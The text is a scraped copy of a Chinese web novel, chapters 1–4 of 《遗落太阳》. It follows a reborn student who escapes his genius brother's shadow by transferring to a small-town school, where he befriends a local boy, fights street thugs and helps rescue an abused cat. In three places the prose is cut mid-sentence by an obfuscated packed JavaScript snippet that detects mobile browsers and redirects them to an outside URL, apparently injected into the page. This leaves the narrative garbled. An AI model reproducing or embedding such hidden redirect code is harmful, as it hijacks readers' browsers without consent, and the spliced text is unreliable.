《遗落太阳》 1. 第一章 文/偷落日的九 长长的午睡铃划响。趴桌子上的学生睡眼惺忪地抬起头环顾四周，有的清醒了，有的还在挣扎。 老师端着水壶夹着教案进来，例行敲了敲桌子:“我还没开始讲课呢，一个个的就都开始点头应和了。” “给你们两分钟的时间清醒清醒，然后我要抽两位同学上来做题。” 她在擦拭干净的黑板上刷刷将题目抄下，接着去打开电脑和投影仪。 有人见状，玩心大发，怼了怼昏昏沉沉的数学科代表:“哎。老师喊你上去把黑板擦干净。” 数学科代表哦了一声，不顾桌上放着的眼镜，上去就拿起黑板擦。恶作剧的男生开始低头掩着嘴角，周围听到他说话的人不约而同地清醒大半，看着数学科代表。 老师调好PPT，转身回头看见数学课代表梦游般地站在她旁边拿着黑板擦定了几秒。 伸手一抹。 粉笔灰洋洋洒洒，仿佛在宣告善良的数学科代表一生的终结。 班上一顿哄堂大笑。再不清醒的也也被哄醒了。 关许衍就是在这样一个热闹的环境中醒来的。 他慢吞吞地从桌上抬头，活动活动被压麻的手臂，看着数学科代表在黑板上把题干补全，顺便捞了道题做。 科代表的同桌也喜提一道热身题。 关许衍扫了下黑板上的题，对于现在的他来说很简单，简单地不可思议。 对一个学生来说，课堂上的东西失去了兴趣，便只能转移到其他地方了。 于是关许衍摸出了手机。 他这一行为几乎是大胆而又肆意的。可许多老师见他这么做，也是睁只眼闭只眼的。 这可是关许赢的弟弟。 于是关许衍就这么将手机摆在桌面。 他下意识地打开某个科研论文发表的网站，就看到最新一篇文章的发布。关许赢攻克了某大关，取得了尤为重要的数据和新的技术突破。 其实这篇最新发布的文章，对他来说却熟悉地很。 很多个日夜，他就这么一遍又一遍地刷着这些论文，企图从这些可靠的数据里找点瑕疵，或者说突破点。 就为了证明自己不差，也能比得过哥哥。 最后猝死在实验室。 没错，关许衍有个秘密，他是重生回来的。 临死前，他才后知后觉地明白过来一个道理。 那就是他拼尽一生，都无法超过哥哥。其实很可笑，也很可悲。 人人都知道关许衍是关许赢的弟弟。 也都只知道他是他弟弟。 再没有其他了。 天气还没热到开空调的时候，头顶的电风扇嘎吱地转。关许衍却觉得有盆冷水从头浇到尾。 他动动手指将网站关闭，收起手机。他的书桌规整有条理，有强迫症般地将每样东西都分门别类地整理好。 因此被凌乱摆在桌上的那张灰色申请表就格外显眼。 那是张交换生的申请。 桦桉中学是著名的省重点高中，能考到这里的都是尖子中的尖子。最近桦桉中学和沿江十三中搞了个联合交换“扶贫”的活动，双方学校互相交换一批老师和学生。 就待高二一年，高三回去冲刺复习。 学校经过商议后就下发这张自愿申请单，准备从新高一这儿薅点交换生过去。 不过这一切还是得学生自愿。 不止学生，老师也自愿。 桦桉中学是什么地方？ 在繁华热闹的大城市里，占据一块绝佳的地位。学校设施食堂一流，从没被喷过，师资也是占据绝佳的优势，还有博士生任职。 而沿江十三中是什么地方？ 它蜗居在相对偏远的地区，小城市的边沿。学校年级第一的成绩总分还攀不上桦桉的倒数，设施破烂，开设的食堂虽然健康但菜色卖相不行。师资……肯定也比不上。很多大城市有的东西它都没有。 谁会愿意放弃这样的学校转去当交换生呢？况且，学生家长自己愿不愿意也很重要。 谁愿意自己的孩子辛辛苦苦考上省重点后却被调去这么一个偏远地区? 除非脑子被门夹。 如果没记错的话，上一年好像是没有学生去做交换，只各科去了个老师。沿江十三中倒是派了二三十个学生来做交换，然而开始上课没多久就崩溃了几个。 脑子被门夹的关许衍同学食指和中指夹着支黑色的中性笔，熟练而飞快地旋转。 接着，笔尖停顿在申请表上，他眉目神情淡淡，签下了自己的名字。 桦桉中学啊…… 他压着笔，厌弃自嘲。 优秀毕业生的荣誉墙上还挂着关许赢的照片呢。 “关许衍?”台上的数学老师喊他。 他抬头，对上遥遥望着他的老师。 “你起来回答一下看这道题还有哪种不同的解法。”数学老师说话的声音很温柔。 就在这样的温柔里，她补了一句:“当年听说你哥哥用了十几种不同的解法哟，来看看弟弟水平怎么样。” 关许衍没有想回答的心思。 换句话说，他讨厌一切有关于哥哥的东西。 于是他看着题目，明明心里已经闪过的不同解法被他按下。 他开了口，轻飘飘地承认:“想不到。我比不上他。” 你看吧，承认一句比不上也没有多困难。 回答不上来，是常理。数学老师也不在意，让他认真听后便讲起了其他的解法。 期间多次cue到关许赢。 关许赢明明人不在，可到处都传着他的事迹。见缝插针般地，时不时就往关许衍的身上插那么一针。 不痛。 但难以忽视。 下课后，关许衍拎着报名表去办公室，递给了班主任范苏。范苏正在备课，看到他来很是惊讶，又确认了一番。 “你真的想好了吗？要去一年的哦。” “想好了。” “你要不要再阅读一下相关事宜呢？或者你再回去考虑一下，不着急的。离真正的高中开学还有一段时间。” 桦桉中学每个学期除了高三，就连高一高二也会在暑假时提前开学那么一两个星期。 关许衍摇头:“不用。” 这两个词应得斩钉截铁，范苏将申请表拿起来放在一旁，说:“那我得给你父母打个电话确认一下。” 关许衍无所谓地靠在身后的书柜上，捏了一下手指。 父母估计想不起还有这么一号儿子。 果不其然，范苏打完电话，有些惊讶。不过她很快就把这种惊讶收了回去，她动了动嘴唇看起来想说些话，后面还是闭了回去。 “好。”范苏仔细地把申请表收起来:“既然都没有异议，那老师就把表交给学校。” 关许衍点头，说了声老师再见，转身就要出去。范苏又喊住他，他回头，就见班主任低头在抽屉里找出一袋小饼干递给他:“偷偷给你的，不要告诉其他同学哦。” 接着她对他笑了笑，说:“有什么事的话可以来找老师的哈。” 关许衍看着那袋小熊饼干，伸手接过，笑了一下:“谢谢老师。” “快去准备上课吧。” 申请表很快就审批下来了。而关许衍作为交换生去十三中的消息也在一个大课间在学校里传得沸沸扬扬。 很多人都在猜测为什么他会这么做，更多的是说他作为桦桉唯一的学生代表去十三中砸场子。 但这些猜测谁都没有机会去找正主要个说法。因为在申请表通过后的当天下午，关许衍的位置就空了。 他把东西收拾收拾，回了趟家。 父母都不在家，他们随着关许赢一起去了北京。留他一个人在南省读书，他一般在学校住宿。隔了段时间，家里落了层细灰。 关许衍重生回来的时间，正是高二桦桉提前开学的那一天。浑浑噩噩了三天就把自己收拾打包滚回了家，接下来还要把自己打包去一个陌生的小城市。 他放下书包和行李箱，开始动手将家里都打扫了一遍。其实用不着特别打扫，他父母和哥哥的房间都罩着防尘罩，只用把客厅阳台厨房和他自己的房间打扫一下就好。 打扫完，他觉得饿。胃有点隐隐作痛。 这是老毛病了。从初中开始立志要超过他哥后，他就拼了命地去学习。哥哥能在很小的时候修完高中的知识，为了赶上他哥，他几乎连身体都给作废了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901059|176632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 关许衍在床上躺了一会，拎着钥匙和整理好的学习资料去了楼下常去的面馆。店里的老板娘知道他爱吃店的招牌面，专门给他碗里多加了勺肉和一只荷包蛋。 “看你瘦得哟，多吃点才好啊。”老板娘拎着锅铲如是道。 关许衍笑着点头:“好。” 老板娘有个正在上初中的小姑娘。关许衍吃完，把整理好的资料递给老板娘:“这是我专门整理出来的笔记，要是小姑娘需要的话就看看，不需要的话就拿去卖钱吧。” 老板娘在围裙上擦了擦手，宝贝地接过:“当然要啊，学霸的笔记肯定是有用的。” 关许衍嗯了一声，看着小心地把资料放在干净空位的老板娘，弯起双眼，露出一个真心实意的笑容。 随后他转身离开。 他漫无目的地在街上逛了好一会。其实自重生后，他什么心思都没了，居然还产生了一股非常浓重的厌学情绪。 他还是被困在过往的时光里。 终于，他从这种负面情绪里挣扎出来，走回去，开始看去小城市里的票。 去那座小城市要先坐两个小时的高铁，然后搭大巴车坐到最后一站。 查完路线，收拾好行李，关许衍干脆利落地订了明天的票。 第二天临走前，他仔细地给自己的房间罩上一层防尘罩，才拎着自己的行李走人。 出租车扬长而去。 坐高铁，搭大巴。到最后一站时，大巴只剩下关许衍孤零零的一个人。他在车站下车，车站很小，很破。 只有一个出口。出口的墙上还凌乱地张贴着寻狗启事。 关许衍拎着行李，站在小破车站出口前。他又陡然迷茫起来，自己也不知道该去哪。 也许自己现在需要找处地方落脚，然后去吃个饭。吃完可以去将要上学的地方看看。 他戴着黑色的口罩，神情恹恹的。打定主意后，他便想去网上找酒店或者是旅馆住。 结果这小破地方在网上愣是扒拉不出一个旅馆。 抱着要睡大街的一丝可能，关许衍面无表情地开始看返程的路。 现在订票回去应该是来得及的。 就在他专注地查票时，街对面的一个老人盯着他看了许久，忽然走过来拉住了他的袖子。 “言言，言言！”老婆婆拽着他的袖子，殷殷问道:“言言回来啦？言言回家来啦？走，跟妈妈回家去吧，啊？” 关许衍顿住手，有些难以置信地看着面前的老人。 老人倒是慈眉善目的，可能是精神出了问题，把他认成她儿子了。 “婆婆。”关许衍面对老人时总是格外地心软:“我不是你儿子，你认错人了。” “是我儿子。”老婆婆拽着他的袖子不肯放:“我不会认错的，就是我儿子！” 关许衍看着她，倒是让他想起了已过世的外婆。 在人人以关许赢为中心的时候，只有外婆是格外宠着他的。 那次是他们一家四口回去看外婆。那时桌上摆着三个橙黄的橘子。父母直到大儿子喜欢吃橘子，于是便把那三个橘子都剥给大儿子吃。 彼时他正跟在外婆身后。农村家里用的都是烧水的方式，他在灶前帮忙烧水，外婆拿过他手里的梗草，轻轻地推着他道:“小衍呐，外婆在前厅的茶几上放了橘子，去拿个来吃吧。” 关许衍跑去前厅，就看到父母正剥着最后一个橘子。他哥皱了眉说:“给弟弟留一个吧。” 他母亲笑呵呵道:“不用，你弟弟不喜欢吃。再说了，吃完也不是不能再买。他要吃就再买呗。” 父亲也点头。 他哥这辈子都高在智商上了。他在亲情这方面一向是迟钝且反射弧长的。 关许衍闷闷不乐地跑回外婆那，默不作声地拿起梗草开始往灶里塞。外婆看了眼他空空如也的手，没说话，用干净粗糙的手揉了揉他的脑袋。 当天夜里，在众人都入睡后，关许衍被推醒了。他闻到一股属于橘子的甜香，香味使他睁开眼，便看到外婆拿着剥干净的橘子，笑吟吟地看着他。 他记得，橘子很甜，连带着梦也是甜的。 外婆用她粗糙厚实的手一下一下地拍着他的背，说:“外婆疼你。” 2. 第二章 老婆婆仍执拗地拽着他。 关许衍回神，眨了下眼，有些无奈。正当他在思考对策时，迎面来了蹬着三轮车的小摊贩。 小摊贩一见那老人，再看看这明显是外地来的生面孔，顿时了然:“哎哟，老太婆又乱认儿子了。” 他热心地对关许衍说:“你稍等一下，我给她孙子打个电话。” 他在一旁打电话，关许衍和婆婆大眼瞪小眼。婆婆见拽不走，索性双臂一张，抱了上去。 “我想你嘞，这么多年也不见你回来看看我……你知道这些年寒寒和我是怎么一起过的吗？”老人上了年纪，就喜欢絮叨:“寒寒很辛苦的……” 说着说着，一提到寒寒，老太太怒气值陡然飙升，打了一下关许衍的手臂:“管生不管养，像什么话你！” 关许衍沉默地看着面前的老人，忍不住想起了外婆。想起外婆他就无法生气，他觉得此刻应该说些什么，但又觉得不合时宜。 好在最终他还是开口说了三个字:“回家吧。” “对对对，回家回家。你看我看到你太高兴了，走走走。”老太太忽然高兴起来，拉着关许衍要走。 热心小摊贩打完电话拽住他:“哎，你等等，他孙子马上就能过来了。” “什么？寒寒要过来？”老太太停住脚步:“那我们等等他。” 解决一桩事，小摊贩很高兴。关许衍颔首道:“感谢。”又看到他车上载着的苹果，便买了两斤。 关许衍和老太太站在那里等。老太太絮絮叨叨地说了很多，他很耐心地听着，时不时应两句。 他在她的身上看到了外婆的影子。 原来，想念一个人真的能从其他人的身上看到她的影子。 都是眉目慈善祥和的老太太，说起话来都是慢慢的，带着笑，眼里都是藏不住的对孩子的喜欢。 摩托车的轰鸣声由远及近，终结在刹车声里。 关许衍和老太太同时看过去。老太太很兴奋地拽着他说:“你儿子来了。” 关许衍哭笑不得。 来人双腿长直，利落地停车下车。他没戴头盔，头发被吹得有些乱，露出光洁饱满的额头。 他三两步走到关许衍面前，落了片阴影。关许衍不及他高个头，微仰头看他。 他嘴一张:“哎，我说老太太，我一不在你就到处给我认爹占我便宜。” 看到占他便宜的那个“爹”正冷冷地盯着他看，他又补充道:“噢，这次有眼光了。” 关许衍:“……” 他一向没什么波澜的心情小小地掀了个浪。 高个头男生要把老太太带走，老太太犯了牛脾气，硬是要拉关许衍一起走。 高个头男生显然犯了难，这还是老太太第一次在外面认儿子认得这么倔强的。 他偏头看向关许衍，再看到他身边停放的行李箱，顿时了然。 “小朋友，咱打个商量呗？” “你喊谁小朋友呢？” “大朋友。” “免谈。” 傍晚太阳落山，小院里摆着张可伸缩的小木桌，桌上摆了几道简单的菜。院里挂了盏小灯泡，暖黄的，灯一开小院就充满了光。 说免谈的那位大朋友把汤端上来，是玉米排骨汤，香气四溢。男生正在盛饭，把碗筷都放好。老太太跟在他俩身边，笑得格外开心。 “辛苦你了。”男生拍了拍他的肩膀。 “没事。” 三个人做在小桌上，老人不断地给他俩夹菜。关许衍除了在老人给他夹菜时抬眼笑一笑，礼尚往来也夹之外其余时间都在低头安安静静地吃饭。 动作优雅，细嚼慢咽的。 就是吃得太少了。 桌上气氛其实不坏。男生想了想，问他:“对了，我还没问你叫什么名字。” “关许衍。” “哦？关许衍。”男生念了遍这个名字，拖长了尾音。 关许衍停下动作，皱眉和他对视。 要是敢提一个他哥，他就…… 没等他就出一个所以然来，就见男生点头:“很高级的名字。” 皱着的眉头松开。 “你呢？” “晏寒觉。” 一顿饭吃得很温馨平常。关许衍独居时也喜欢自己下厨做点饭菜，能吃，吃不死就行。 吃完饭后，老太太让关许衍陪着她看了会电视，就说要去洗澡睡觉了。 于是关许衍就要告辞。晏寒觉看了他立在一旁的行李，自觉地说:“我送你回去吧。” “不用。”他摇摇头，问他:“你知道这里哪里有小旅馆之类的吗？可以租房的。” “这个我知道。有个地方可以，不远，就隔了一条街。走吧，我带你过去。” 关许衍也不推辞。晏寒觉拉着他的行李箱，两个人慢慢地走在路上。这个时间点人都没有入梦，虽然不及他原来的地方一半喧嚣，但还是热闹的。 他仰头。大脑不想活动，他行尸走肉般地低垂着双眼，满满的都是厌弃。 一辆摩托车行驶而过，差点撞上他。晏寒觉眼疾手快地把他往旁边一扯:“看路啊喂。” 关许衍才反应过来，慢半拍地嗯了一声。 “你怎么了？”晏寒觉半弯下腰，伸手将他的额发往后撩，露出他的双眼:“魂丢啦？丢哪去了我给你捡回来。” 见他不动，他伸手在他眼前一晃。 “问你个问题。”关许衍说。 “什么？” “认识关许赢么？” “我应该认识么？”晏寒觉有些奇怪。 他就见面前的人笑了一下，漆黑的眼珠动了动:“没事，走吧。” 两人并肩走在路上，有一搭没一搭地聊天。得知关许衍是作为交换生来的，晏寒觉也不惊奇:“我知道啊。一看就能看出来了。” 这边的路有些昏黄低暗，小巷子交错纵横，晏寒觉带着人兜兜转转，关许衍不假思索地跟着走。 不知晏寒觉看到了什么，忽然挡在他面前，将行李递给他，低声道:“转身，快点走。” 关许衍从他身后探出半个头，看清了眼前的一幕。那是三个花臂男，肌肉饱满膨胀，如同大猩猩。身上还有浓重的酒气。 在这之前，关许衍提交了申请表转头把自己送来这里的时候，想的是换个地方换个心情。 没想到他厌学，接着厌弃自己。一直打不起精神，觉得就这样了，整个人也蔫蔫的。 在这里，这个对他而言陌生的地方，和陌生的人一起吃了顿温馨平常的饭，接下来，看起来对方的人像是要来找茬打架。 他忽然起了兴致。 “哟，这不是晏寒觉嘛，咱晏哥。”中间那个人扭了扭手腕，不怀好意的目光刺向他身后护着的那个人:“这又是谁啊？新收的小弟吗？” 晏寒觉挡在关许衍的身前，推了推他:“跑去前面那个巷子口等我。” “然后呢？”关许衍反问:“你要自己一个人解决吗？” “什么话。”晏寒觉笑眯眯道:“像我这种爱好和平的人，绝不会动手动脚的。几位，有话好好说呗？” “说个屁。在这儿蹲你好久了。” 花臂男做了个手势，三个人团团围上来。 晏寒觉把行李箱往身后一踢，推走关许衍，从裤兜里摸出钥匙。花臂男曲拳，手上明晃晃地带着指虎迎面呼来。 几个人扭打在一起。关许衍单挑一个。 “你先躲边儿去。” 关许衍抬眸，双手握上行李箱的拉杆，踢起来拎着就往花臂身上砸去。花臂恼了，骂了句脏转身就和他扭打起来。 晏寒觉在这地方打惯了，什么脏的他都看得出来，他也会用。这群人带了指虎，也带了刀，就是奔着玩脏来的。 指虎划破了轻薄的衣服，伤口渗出了血珠子。在那一刻，关许衍却觉得有些爽，有些刺激。 行李箱被扔在一旁，关许衍偏头，躲掉落下的一拳。花臂男骑在他身上揍，他趁机握上他的手，精准地按下麻筋，翻身起来按着他。 他一直都是泡在书里长大的，不常锻炼体能。只是在中考时为了体育满分才去练了一段时间的篮球和跑步。 正当他和这个人掐得不分上下的时候，忽然觉得有点勒脖子。 接着，他被一股力道给提溜起来。晏寒觉拎着他，手掌抵着他轻轻推到一旁。 钥匙拎在手里，指虎被撸下来扔到地上。晏寒觉打架的时候有种匪气，打得多了，就知道哪里下手又疼又重。 更何况这几个人是仗着酒撞人胆才来挑事的。 解决完，晏寒觉伸手抹了下手上的一道擦伤，转身看到关许衍坐在地上，身上有很明显的血珠在往外蹦。行李箱变了形，摔在一旁。 “关许衍?”晏寒觉弯腰，朝他伸出手。 关许衍抬头，还有些没有反应过来。不过还是乖乖地伸出手握住。 他刚借力站起身，就见身后晃过一道明亮的光。他紧抓住晏寒觉的手往身后一拉，自己对了上去。 晏寒觉不愧是很有经验的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901060|176632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人，在关许衍挡到他面前的那一刹那抬脚踢了出去。 刀哐啷掉在地上，被踹远了。 那三个人负伤相扶着滚远了。 关许衍往后退了一步，撞到晏寒觉身上。晏寒觉伸手扶着他肩膀，扫了一眼他身上的伤口:“走，去处理一下。” “嗯。” 那一指虎划在锁骨下方，有些深，还在流血。其余的大都是皮肉伤，没有什么大碍。掌心和手肘有多处擦伤和磕碰，青紫沉淀在白皙的皮肤上一下子有些触目惊心。 “你看。”晏寒觉帮他在他够不到的地方上药，忍不住嘴欠调侃道:“一看就知道是缺乏锻炼，连怎么保护自己的紧要部位都不知道。” 关许衍绷紧身子忍受着药水擦过的疼痛，眼角被刺激得泛红，嘴硬道:“多打几次就知道了。” “你还想多打几次？”晏寒觉是真觉得眼前这个人很有一种找死的勇气，连揉淤青的力度都加大:“疼不疼?” 关许衍闭了下眼，咬牙道:“不疼。” 晏寒觉没说话，笑了一声:“还挺倔强。”话是这么说，还是将自己的力度收了，专心致志地给他处理伤口。 卫生所的灯光有些冷，萦绕着淡淡的消毒水味道。关许衍坐在塑料凳上，抓着桌子一脚，低头看晏寒觉半跪着给他处理膝盖的伤。 他的手指很长，指腹还有茧。痛感和酥麻感并存，减少一些痛觉。 涂完，晏寒觉没急着起身，而是很认真地看进他的眼里:“你听晏哥跟你说几句话。千万不要和这里有乱七八糟的牵扯。不管打架是输是赢，总是会有麻烦的。输了，他们会一直欺负你。赢了，他们会不缠不休地一直堵你。知道么？” 关许衍看着他，缓慢地眨了下眼。 “知道么？”晏寒觉看着他，有些严肃。 他点了点头。 晏寒觉揉了下他的脑袋，站起身:“那我们现在去租房的地方。” “对了。今晚你跟我一起打了一架，说不定后面还会有人去堵你。我们先存个电话吧，要是有人来找你，你就打我电话。”晏寒觉做了个打电话的手势，玩笑道:“晏哥罩你。” 关许衍笑了。 “对嘛，多笑笑，你笑起来很好看的。” 两人互存了号码。把人送去租房处，晏寒觉转身便走，高大的身影很快消失在巷子深处。 “租房么？”房东阿姨问道。 “嗯。先租两个星期。” “有个三楼的和五楼的，你要哪一间？” “三楼的。” 领到房间的钥匙，房东特意再三确认:“你真的确定要睡这间吗？要不要睡五楼?五楼没什么人住。” 关许衍拎着钥匙:“不用了。” 他道:“我恐高。” 房东看着他的眼神欲言又止。 行吧。 房间收拾得还算干净，被子也没什么异味。墙上零星挂着一张明星的海报，周围还有许多涂鸦，老旧的电视机旁边放着一个烟灰缸。有窗户拿报纸遮住，报纸泛黄。 他关了灯，举着手机仔细地检查了一遍，才放下心。 潦草地冲了个澡，将老旧的电风扇开了，电风扇咔咔咔地开始工作，他才翻身躺上床。精神和身体都很疲惫，他将被子往自己身上一裹就要入睡。 身在陌生的地方，关许衍久违地体会到了一把身边没有哥哥影子的感觉。 自打有记忆起，他的生活轨迹里就充满了哥哥的身影，无孔不入。 今晚打的这一架让他想起了一些从前。想起了很小很小的自己，其实也是贪玩的。 可是当他还在掰着手指头数数时，父母会说，你怎么不跟你哥学学。你哥哥像你这么大的时候，已经会加减乘除了，不仅会这些，还能跟着五年级的孩子学习知识了。 那时他在幼儿园小班，正是懵懂的年纪。关许赢大他四岁，他什么都不懂，只觉得哥哥很厉害，他很崇拜他。 他在外会很开心地跟别人介绍哥哥，说我的哥哥是天才，我的哥哥很棒的。 这份感情是什么时候变质的呢？他其实也说不明白。 可能在日积月累的“你哥哥像你这么大的时候……” “咱们家有你哥哥就够了，你再怎么努力都是比不上你哥的……” 于是，这份真挚的崇拜就变了质。 关许衍闭上眼，无声地叹了口气。 直到后半夜，关许衍才知道为什么房东要问他那个问题。 因为，隔壁，有小情侣，在打炮。 3. 第 三 章 关许衍坐起身，略显烦躁地抓了抓翘起来的头发。隔壁的动静大了一瞬又低了下去，断断续续的。 他瞪着那堵墙瞪了几秒，再也睡不着了。于是他下床，关掉风扇，踩着鞋出门。 这片地方路灯不仅少，还暗。家家户户的灯一关立马就陷入沉睡的状态，仰头看天，能在交错的电线里看到又大又亮的星星。 今夜无月，唯有繁星漫天。 关许衍仰头看着那些星星，不知不觉慢慢离出租屋越来越远。幸亏他夜视能力不错，能看得清道路。 他想摸手机来看看，摸了个空。房间钥匙没带，手机没带，出租屋不知道在哪。 妥妥睡大街的节奏。 真是，短短的一天就把以前从未有过的事情都经历个遍。 越走越偏僻，来到栋废弃得随时能扮演鬼屋的烂尾楼前。安静的氛围放大了他的感官，他忽然听到一声凄厉的猫叫。 只有短短瞬间，随即便消失了。 他停住脚步细听，猫叫声消失了，取而代之的是尖锐东西划拉地板的声音。 关许衍心想，左右无事，去看看吧。 他走到烂尾楼前，正要上楼。木质楼梯踩上去嘎吱作响，许是察觉到有人来了，慌乱的脚步声过后连着两声翻窗跳到地上的声音，哒哒哒跑远了。 关许衍蹙眉，他闻到很浓重的血腥味。 晏寒觉蹲在墙角玩手机。 几分钟后，赵明尘和林续昼过来了。林续昼额前还绑着照明灯，背着大包，跟个二愣子似的。 “你这是什么装扮?”晏寒觉有些无语。 “装备呗。”林续昼指指额前的大灯，“这可是强照明灯，能让人暂时眼瞎一会儿。这包里好东西可多了，等会儿给你们开开眼去。” “只有没实力的人才会拼命武装。”赵明尘淡淡道。 林续昼上手就揍。 “我日，赵明尘你舔舔嘴唇都能被自己毒死吧。” 不过揍是一时的，跟小鸡仔似的互啄一通后又和好了。晏寒觉等他俩揍完，踢踢他俩:“办正事去。” “对对对，干正事。”林续昼掂掂包，“是在烂尾楼那里对吧？走走走。” 他踮着脚走到晏寒觉身边，故意不跟赵明尘并肩。走了大概没几分钟，默默地放下脚。 “你们没有一点要去匡扶正义的感觉。”他说。 三人刚走到烂尾楼那儿，就听到凄厉的猫叫。他们互相对视，立马冲上去。林续昼这时候跑得飞快，还不忘把头上的强光照明灯打开。 “站住！”他一脚踹开大门。 他看到有个少年拿着带血的半截绳子站在那，伸手挡着光。 “原来是你！放开那只猫！”林续昼就要冲上去。 晏寒觉看清人后，伸手拉住他，并把他头上的强灯照明关了。 并在目瞪口呆的林续昼面前，走到少年身边，说:“又见面了。” 语气熟稔。 林续昼:??? 关许衍觉得自己很倒霉。 他看清了躺在地上的是只母猫，此刻它鲜血如注，受了很多伤，脖子上还勒着跟绳子。 这只猫伤得很重，关许衍摸摸它的脑袋，边安抚边把勒住的绳子解开。 刚解开，就听到有脚步声噔噔噔跑上来。没等他琢磨明白这是伤害猫的人带着同伙回来了还是什么，门就被踹开了。强光手电差点闪瞎他的眼。 直到晏寒觉走到他面前。 “原来是误会啊，抱歉抱歉。”林续昼挠挠脑袋，问:“你眼睛没事吧？” 关许衍闭眼缓了过来后，摇摇头:“没事。” 他指指地上的猫:“快看看它怎么样了。” 赵明尘和晏寒觉蹲在地上查看小猫的伤势。这是只怀孕的母猫，肚子上被划了深深的一刀，脖颈上的毛也是带着血的，一只爪子被划烂了。 林续昼当场不忍直视，并咒骂伤害猫的人祖宗十八代。他边骂边打开背包，从里面掏出团东西，拎着它抖索开，变成张简易担架床。 “把猫猫抬上来吧？我们抬它去娅凡姐姐那里。” “要是动的话会不会造成二次伤害啊？” “对哦，打电话喊娅凡姐姐过来吧。” “还有报警。” 林续昼到一旁打电话，赵明尘去接人，晏寒觉检查猫猫身上的其他伤口。关许衍在他身边蹲下时，猫猫忽然动了动，张嘴叼住他的裤脚。 关许衍摸摸它脑袋。 晏寒觉在他身边问:“你大半夜不睡觉，跑这儿来做什么?” “睡不着，出来乱走，碰巧走到这儿了。” “那要这么说的话……” 关许衍撩起眼皮面无表情地看着他。如果晏寒觉怀疑是他的话那就打死他好了。 “你和这些还是挺有缘分的嘛，天选的破案小能手。” ……可以先放他一马。 “真的。”晏寒觉诚恳道:“我们都是蹲了差不多一星期了才发现的。” “我刚来的时候，听到有人跳窗走了。”关许衍垂眸看着松开他裤脚的猫，盯着自己不小心染上它的血的手指，随后起身:“我去看看。” “好。”晏寒觉尽职尽责地蹲在原地。 兽医和警察差不多是同步来，几人都没有破坏现场，他们拍照取证后看着兽医姐姐检查伤势。 最后兽医姐姐李娅凡把猫简单包扎处理后，小心地装进航空箱里。 “存活的几率很小。它还怀着孕的。”李娅凡背着箱子说。 几人脸色顿时变得很差。 “我先带它回去了，你们也快回去吧。明天我告诉你们结果，晚安。” 李娅凡背着箱子走了之后，林续昼忍不住红了眼眶。半是被气的，半是伤心的。 关许衍看到积灰的窗前留着脚印。 可能是因为没想到会有人来，作案者的作案工具还留在原地。有把水果刀和钳子。 警察带他们去录取证的东西。 工具上还留着指纹。警察叔叔先表扬他们的行为，录完取证的东西后说接下来就交给他们了后把他们送回去。 几人分别，晏寒觉偏头看着手上空空荡荡什么都没有的关许衍:“现在回出租屋，你也没带钥匙，不然去我家将就一晚?” 关许衍:“麻烦么？” 晏寒觉笑着把手搭在他肩上:“不麻烦啊，林续昼和赵明尘偶尔也会来我家借宿的。” “行。”他点点头。 这么折腾一通后，两人已经困得不行，把客房收拾好倒头就睡。 关许衍困得眼皮打颤。他倒是没有什么认床的习惯，很快就睡过去了。 不知是因为换了个环境还是什么，他很安稳地就睡过去了。 第二天生物钟将他喊醒的时候，才早上五点多。 他出去上个厕所。看见了同样起来上厕所的晏寒觉。这人闭着眼走路，晃悠地从他面前飘过。 飘回房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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李娅凡正在为一只猫猫打针，没空理他们，让赵明尘和林续昼带他们进了个房间。 其实那时候收到信息赶过来时就知道救不活了，肚子划开那么大一口，里头的三只宝宝都很小。 关许衍叹了口气。 那边三个人开始商量怎么给猫猫安葬。 沿江这边养猫养狗的人都挺多的，为此还专门有个占地较少的宠物墓地。 “钱我们来a就行，怎么样？”林续昼说着捅捅他。 “嗯。可以。”关许衍说。 一般涉及到什么小组讨论的，他都是安静地当个听众。 不过这些计划最后都没能实施，因为李娅凡不让他们这一帮学生出钱，说是医院会帮忙。 此事也就告一段落了。 完事儿后，晏寒觉骑着单车把他载回去，找房东要了备用钥匙开门。 “那我回去啦。”晏寒觉说。 “好，谢谢。” 晏寒觉看着他乐:“你好礼貌啊，不客气。” 关许衍:“那你滚?” 晏寒觉比了个OK的手势:“好嘞。有事找我哈。” 车铃嚣张地串出声音，叮铃铃走远了。 关许衍笑了笑，这人大概是个抖m。 4. 第 四 章 一连过了好几天，关许衍都呆出租屋里熟悉高中的知识。其实这些知识按他现在的水平来说都跟小菜一碟似的，但他还是坚持看了遍。 直到快开学，他才想起应该要去提前逛逛学校在哪。 不远，慢慢走过去也就十来分钟。 生物钟起来后呆了会儿，就开始溜溜达达地往学校那边走。 油条挺香的，豆浆也好喝。 他叼在嘴里咬着。晨起的时候空气是最好的，让他心情也变得不错。 心情不错，看什么都顺眼。 这学校还挺大的，大门有些灰扑扑的，他竟然也觉得不错。十三中的校名牌是很有意思的，用藤蔓缠成“沿江十三中”这五个大字，得定期请人修整维持。夏天的时候估计长叶开花会更加好看。 顺眼。 他回去的时候绕其他方向走。晨起的一些老头老太太还出来遛狗遛猫，还有……遛鸟的。 